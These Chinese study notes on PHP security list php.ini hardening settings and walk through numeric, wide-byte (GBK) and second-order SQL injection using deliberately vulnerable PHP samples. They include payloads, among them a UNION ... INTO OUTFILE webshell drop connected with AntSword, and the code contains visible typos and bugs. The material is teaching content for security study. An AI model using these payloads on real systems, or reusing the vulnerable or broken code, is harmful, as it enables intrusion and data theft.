php.ini简介
此文件必须命名为‘php.ini‘并放置在http.conf中的PHPIniDir指令指定的目录中,使用phpinfo()函数可以查看,如果未作修改,windows平台一般放在php安装目录中
php.ini.httpd.conf文件配置
1、safe_mode=off相关配置(避免各种奇怪失败)
2、register_globals关闭(注册全局变量)
3、open_basedir配置,防范目录遍历
4、allow_url_fopen关闭(文件打开的限制)
5、magic_quotes_gpc打开(转义引号和划线和空字符,比如“变成")
6、file_uploads=on(任意文件上传需要允许上传文件)
7、display_errors=Off避免攻击者获取更多信息
8、expose_php=Off隐藏版本信息
sql注入代码分析
识别数字型与字符型sql注入的区别,连接数据库,
<?php
$id = $_GET[‘id‘];
$conn = mysql_connect(‘localhost‘,‘root‘,‘123456‘);
mysql_select_db(‘admin‘,$conn);
$sql = "SELECT * FROM USER WHERE id = $id"; //字符型的参数$id加单引号
$result = mysql_query($sql) or dir(mysql_error());
while($row = mysql_fetch_array($result)){
echo "ID:".$row[‘id‘]."<br>";
echo "USERNAME:".$row[‘username‘]."<br>";
echo "PASSWORD:".$row[‘password‘]."<br>";
echo "EMAIL:".$row[‘email‘]."<br>";
}
mysql_close($conn);
echo "<br>";
echo $sql;
?>
payload:http:127.0.0.1/?id=1 UNION SELECT 1,2,3,4--+,将自己准备的马哈希后插入4中
完整payload:http:127.0.0.1/?id=1 UNION SELECT 1,2,3,(哈希后的值) into outfile ‘D:\phpStudy\PHPTutorial\WWW‘--+ 连接蚁剑
宽字节注入
<?php
$id = addslashes($_GET[‘id‘]);
$connect = mysql_connect(‘localhost‘,‘root‘,‘123456‘);
mysql_select_db(‘admin‘,$connect);
mysql_query("SET NAMES ‘GBK‘");
$sql = "SELECT * FROM USER WHERE id = $id";
$result = mysql_query($sql) or dir(mysql_error());
while($row = mysql_fetch_array($result)){
echo "ID:".$row[‘id‘]."<br>";
echo "USERNAME:".$row[‘username‘]."<br>";
echo "PASSWORD:".$row[‘password‘]."<br>";
echo "EMAIL:".$row[‘email‘]."<br>";
}
mysql_close($connect);
echo "<br>";
echo "SHOW SQL:";
echo $sql;
?>
逃逸单引号payload:http://127.0.0.1/sql.php?id=1? %df会导致\的编码%5c被吃掉,失去转义的效果,直接被带入mysql中,mysql在解读时无视了%a0%5c形成的新字节,那么单引号便重新发挥了效果
原理:%df%27=>(addslashes)=>%df%5c%27=>(GBK)>運‘
用户输入=>过滤函数=》代码层的$sql=>mysql请求处理=>mysql中的sql
默认编码character_set_client>根据character_set_connection转码==>更新数据库时转化为字段所对应的编码
修复方案:1、使用mysql_set_charset(GBK)指定字符集 2、使用mysql_real_escape_string进行转义
二次注入
注入点因为经过过滤处理后无法触发sql注入漏洞,比如addslashes函数,将单引号等字符转义变成‘。但是存进数据库后,数据又被还原,在这种情况下,如果发现一个新的注入同时引进了被插入的数据库数据,就可以实现闭合新发现的注入漏洞引发二次注入
二阶注入:
1、攻击者在http请求中提交恶意输入
2、恶意输入保存到数据库中
3、攻击者提交第二次http请求
4、为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造sql语句
5、如果攻击成功,在第二次请求响应中返回结果
注册界面:
<?php
header("content-type:text/html;charset=utf-8");
if(!empty($_POST[‘submit‘])){
$id = addslashes([‘id‘]);
$username = addslashes($_POST[‘username‘]);
$password = addslashes($_POST[‘password‘]);
$email = addslashes($_POST[‘email‘]);
$conn = mysql_connect("localhost","root","123456");
mysql_select_db(‘admin‘.$conn);
$sql = "INSERT INTO USER (id,username,password,email) VALUES (‘$id‘,‘$username‘,‘$password‘,‘$email‘)";
$result = mysql_query($sql) or die(‘执行语句失败‘.mysql_error());
if($result){
echo "注册成功";
}else{
echo "注册失败";
}
}else{
echo "222";
}
?>
<form action = "reg.php" method="post">
id:<input type = "text" name = "id"><br>
username:<input type = "text" name = "username"><br>
password:<input type = "password" name = "password"><br>
email:<input type = "text" name = "email"><br>
<input type = "submit" name = "submit" value = "点击">
</form>>
查询界面:
<?php
header("content-type:text/html;charset=utf-8");
if(!empty($_POST[‘submit‘])){
$id = $_POST[‘id‘];
$conn = mysql_connect(‘localhost‘,"root","123456");
mysql_select_db(‘admin‘,‘$conn‘);
$sql = "SELECT * FROM USER WHERE id = ‘$id‘:";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
$username = $row[‘username‘];
$sql = "SELECT * FROM USER WHERE username = ‘$username‘";
$result = mysql_query($result) or die(mysql_error());
while($row = mysql_fetch_array($result)){
echo "ID:",$row[‘id‘]."<br>";
echo "USERNAME:",$row[‘username‘]."<br>";
echo "PASSWORD:",$row[‘password‘]."<br>";
echo "EMAIL:",$row[‘email‘]."<br>";
}
}
}
?>
<form action = "search.php" method = "POST">
search ID:<input type = "text" name = "id"><br>
<input type = "submit" name = "submit" value = "点击查询">
</form>
在注册页面中提交查询语句:‘ union select 1,user(),3,4 一般’提交到数据库时会被转义为\,但是这里直接提交至数据库全部信息,接着在查询语句中查询对应ID,返回数据库的信息,二次注入成功,由于第一次注入因为一些过滤无法完成注入,所以二次注入
方法:首先寻找一处插入数据库并被转义的操作,参数被转义函数变成1‘,参数被转义进入数据库不会引发sql注入异常,参数进入数据库后还原成1‘,寻找另一处引用这个数据的操作,同时这个数据并没有被转义又被插入进了数据库中,将1‘从数据库取出,1‘取出后付给变量但没有经过转义过滤。插入数据库insert into table value (‘11‘):.sql注入被触发